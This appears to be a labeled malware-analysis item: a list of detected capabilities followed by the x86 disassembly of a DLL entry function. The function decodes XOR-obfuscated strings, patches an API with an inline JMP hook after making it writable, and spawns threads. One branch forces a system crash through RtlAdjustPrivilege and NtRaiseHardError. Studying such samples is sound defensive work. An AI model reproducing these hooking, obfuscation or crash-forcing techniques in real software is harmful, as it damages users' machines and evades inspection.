Function at 0x10030200
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Encode data using xor
Execute shellcode via indirect call
Get common file path
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100336ef
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1003f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub dword [ebp + 0xc], 1
mov eax, dword [ebp + 8]
jne 0x100306d8
push eax
mov dword [0x10041198], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1003f8dc]
mov dword [ebp - 0x20], 0xd180901
mov dword [ebp - 0x1c], 0x5000f6c
mov dword [ebp - 0x18], 0x4c180209
mov edi, dword [eax + ecx*4]
mov eax, dword [0x10112b18]
cmp eax, dword [edi + 4]
jle 0x100302b6
push 0x10112b18
call fcn.10031abc
add esp, 4
cmp dword [0x10112b18], 0xffffffff
jne 0x100302b6
movq xmm0, qword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
push 0x10035580
movq qword [0x10113148], xmm0
mov dword [0x10113150], eax
call fcn.10031ee1
push 0x10112b18
call fcn.10031a72
add esp, 8
cmp byte [0x10113153], 0
je 0x100302ce
xor eax, eax
xor byte [eax + 0x10113148], 0x4c
inc eax
cmp eax, 0xc
jb 0x100302c1
push 0xc
push 0x10113148
push 0x86d388
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x100306fa
call fcn.10030060
push 0x1003fd08
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, dword [0x101121e4]
mov dword [ebp - 0x20], 0x2d293e0f
mov dword [ebp - 0x1c], 0x250a2938
mov dword [ebp - 0x18], 0x4c0d2920
cmp eax, dword [edi + 4]
jle 0x10030364
push 0x101121e4
call fcn.10031abc
add esp, 4
cmp dword [0x101121e4], 0xffffffff
jne 0x10030364
movq xmm0, qword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
push 0x10033b90
movq qword [0x10112214], xmm0
mov dword [0x1011221c], eax
call fcn.10031ee1
push 0x101121e4
call fcn.10031a72
add esp, 8
cmp byte [0x1011221f], 0
je 0x1003037d
xor eax, eax
nop
xor byte [eax + 0x10112214], 0x4c
inc eax
cmp eax, 0xc
jb 0x10030370
mov eax, dword [0x10112174]
mov dword [ebp - 0x20], 0x223e2927
mov dword [ebp - 0x1c], 0x7e7f2029
mov dword [ebp - 0x18], 0x20202862
mov byte [ebp - 0x21], 0x4c
cmp eax, dword [edi + 4]
jle 0x100303ed
push 0x10112174
call fcn.10031abc
add esp, 4
cmp dword [0x10112174], 0xffffffff
jne 0x100303ed
mov eax, dword [ebp - 0x18]
movq xmm0, qword [ebp - 0x20]
mov dword [0x101121d0], eax
mov al, byte [ebp - 0x21]
push 0x10033bb0
movq qword [0x101121c8], xmm0
mov byte [0x101121d4], al
call fcn.10031ee1
push 0x10112174
call fcn.10031a72
add esp, 8
cmp byte [0x101121d4], 0
je 0x1003040d
xor eax, eax
nop dword [eax + eax]
xor byte [eax + 0x101121c8], 0x4c
inc eax
cmp eax, 0xd
jb 0x10030400
push 0x10112214
push 0x101121c8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 5
push esi
mov dword [0x1003fe10], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov dword [0x101118cc], eax
mov eax, 0x10006940
sub eax, esi
mov dword [0x101118c8], ecx
sub eax, 5
mov byte [esi], 0xe9
push 0x1002df10
mov dword [esi + 1], eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1002dd20
push 0
push 0
mov dword [0x100411a0], eax
call esi
push 0
push 0
push 0
push 0x10004800
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10003ef0
push 0
push 0
call esi
push 0x29
call fcn.10031eff
push 0x29
mov esi, eax
push 0
push esi
mov dword [ebp - 0x28], esi
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [0x10113434]
add esp, 0x10
cmp ecx, dword [edi + 4]
jle 0x10030506
push 0x10113434
call fcn.10031abc
add esp, 4
cmp dword [0x10113434], 0xffffffff
jne 0x10030506
movaps xmm0, xmmword [0x1003bd80]
push 0x10035570
movups xmmword [0x101130e8], xmm0
call fcn.10031ee1
push 0x10113434
call fcn.10031a72
add esp, 8
cmp byte [0x101130f7], 0
je 0x10030530
movups xmm0, xmmword [0x101130e8]
movaps xmm1, xmmword [0x1003be00]
pxor xmm1, xmm0
movups xmmword [0x101130e8], xmm1
nop dword [eax + eax]
push 0x101130e8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov byte [esi], 0
test eax, eax
je 0x10030545
mov dword [esi + 1], eax
push 0
push 0
push 0x1002d240
mov dword [0x10041178], esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
push 0x50
call fcn.10031eff
mov edi, eax
mov dword [ebp - 0x28], edi
push 0x50
push 0
push edi
mov dword [ebp - 4], 0
call sub.VCRUNTIME140.dll_memset
push 0x28
call fcn.10031eff
mov dword [ebp - 0x2c], eax
xorps xmm0, xmm0
inc dword [0x1003fcf8]
push 0xe4c
movups xmmword [eax], xmm0
movups xmmword [eax + 0x10], xmm0
movq qword [eax + 0x20], xmm0
mov byte [eax + 0x24], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
mov dword [eax + 0x18], 0
mov dword [eax + 0x1c], 0x80
mov dword [eax + 0x20], 0
mov dword [edi + 0x38], eax
call fcn.10031eff
push 0xe4c
mov esi, eax
push 0
push esi
mov dword [ebp - 0x2c], esi
call sub.VCRUNTIME140.dll_memset
inc dword [0x1003fcf8]
mov ecx, str.Tahoma
mov edx, esi
add esp, 0x30
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx + 3], al
test al, al
jne 0x10030603
push 0xe00
mov byte [esi + 0x2c], al
mov byte [0x1003fcf4], al
lea eax, [esi + 0x48]
push 0
push eax
mov dword [esi + 0x24], 0xa
mov dword [esi + 0x28], 4
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi], 0
mov dword [esi + 0x38], 0x1c0
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x44], 0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esi + 0xe48], 0
mov dword [edi + 0x3c], esi
mov byte [edi + 0x40], 0
push 0x52
call fcn.100273f0
mov dword [edi + 0x44], eax
add edi, 0x48
push 0x11
call fcn.100273f0
mov esi, dword [ebp - 0x28]
push 0x10
mov dword [edi], eax
add esi, 0x4c
call fcn.100273f0
mov dword [esi], eax
call fcn.10002dd0
call fcn.10002180
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10002660
push 0x1002acd0
push edi
call fcn.10001c30
push 0x10006400
push esi
call fcn.10001c30
call fcn.100021f0
mov eax, dword [ebp - 0x28]
mov dword [0x1010ce08], eax
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10031912
mov esp, ebp
pop ebp
ret 0xc
call fcn.10030770
mov ecx, eax
call fcn.100308c0
push eax
call fcn.1002cfa0
add esp, 4
push str.RtlAdjustPrivilege
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.NtRaiseHardError
push str.ntdll.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov esi, eax
lea eax, [ebp - 0x21]
push eax
push 0
push 1
push 0x13
call edi
lea eax, [ebp - 0x2c]
push eax
push 6
push 0
push 0
push 0
push 0xc00002b4
call esi
push 5
call dword [sym.imp.KERNEL32.dll_ExitProcess]